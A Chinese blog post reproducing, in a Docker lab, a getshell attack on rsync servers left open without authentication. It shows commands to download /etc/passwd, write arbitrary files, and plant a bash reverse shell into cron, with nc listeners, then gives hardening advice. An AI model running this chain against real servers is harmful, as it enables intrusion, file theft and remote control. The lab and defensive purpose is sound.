美文网首页
Rsync未授权访问getshell复现

Rsync未授权访问getshell复现

作者: migrate_ | 来源:发表于2022-09-26 17:28 被阅读0次

    遵纪守法

    任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益

    Rsync未授权访问漏洞

    rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

    环境搭建

    docker pull vulfocus/rsync-common:latest
    docker run -d -p 873:873 378d5c66daec(容器ID)
    
    图片.png
    nmap -p 873 --script rsync-list-modules 192.168.52.132
    

    复现

    环境启动后,我们用rsync命令访问

    rsync rsync://192.168.52.132:873/src/
    
    图片.png

    如上图,有一个src模块,我们再列出这个模块下的文件:

    rsync rsync://192.168.52.132:873/src/
    
    图片.png

    任意文件下载

    这是一个Linux根目录,我们可以下载任意文件

    #比如下载 passwd文件
    rsync -av rsync://192.168.52.132:873/src/etc/passwd ./
    或者
    rsync -av ip::src/路径
    

    任意文件写入

    写入 ceshi.txt 文件到 src 目录
    rsync -av ceshi.txt rsync://192.168.52.132:873/src/ceshi.txt
    //rsync -av 文件路径 rsync://ip:873/目标系统文件路径
    

    利用任意文件写入、下载功能来 getshell

    首先下载crontab配置文件查看一下

    rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
    
    图片.png

    该环境crontab中

    17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    #表示每小时的第17分钟执行一次 run-parts --report /etc/cron.hourly
    

    本地创建shell文件

    touch shell.sh  #创建shell文件
    

    shell内容:

    #!/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.52.137/8888 0>&1
    

    赋予 shell 文件执行权限:

    chmod 777 shell.sh
    

    将shell上传至/etc/cron.hourly

    rsync -av shell.sh rsync://192.168.52.132:873/src/etc/cron.hourly
    

    接下来,kali本地监听8888端口

    nc -nvlp 8888
    

    因为每小时第十七分钟运行我们上传的bash脚本,所以反弹shell需要等待

    第二种方法

    将反弹shell文件上传到攻击者目录下

    rsync -av fantan.sh rsync://192.168.52.132:873/src/tmp/fantan.sh
    

    下载对方定时任务文件crontab

    rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
    

    编辑crontab文件并保存退出(每隔1分钟运行一次脚本)

    */1 * * * * root bash /tmp/fantan.sh
    

    反弹shell的攻击者监听端口

    nc -lvvp 1234
    

    将crontab文件上传到目标服务器:

    rsync -av crontab rsync://192.168.52.132:873/src/etc/crontab
    

    修复建议

    更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
    访问控制;设置host allow,限制允许访问主机的IP。
    权限控制;设置read only,将模块设置成只读。
    访问认证;设置auth、secrets,认证成功才能调用服务。
    模块隐藏;设置list,将模块隐藏。

    相关文章

      网友评论

          本文标题:Rsync未授权访问getshell复现

          本文链接:https://www.haomeiwen.com/subject/nlofartx.html